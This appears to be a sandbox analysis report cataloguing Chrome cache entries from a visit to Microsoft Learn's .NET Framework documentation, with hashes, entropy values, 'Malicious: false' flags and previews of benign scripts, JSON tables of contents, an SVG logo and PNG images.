SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33273), with no line terminators
Category:	downloaded
Size (bytes):	33273
Entropy (8bit):	4.918756013698695
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUukj:5hOEO8chkMet7pCjBfcHkWOzUukj
MD5:	86E84C732A96BF9CF18C99B48DB90B6D
SHA1:	6A8C212067CB9FE5B8325AE1E89FCA3E7FCF20FA
SHA-256:	B54678C5BFB00DC1AFBF2E52C56F8E10173975C25FB19062EFE5DC86F1B7D769
SHA-512:	AD91A78371074B5BB2105A9AE69664371C235B7C82DFD25C9ED17F435E92018F2A0DD42203F403D7A75DF4FC63966017519F118B2B22F0DE7656B2B155636AA2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. 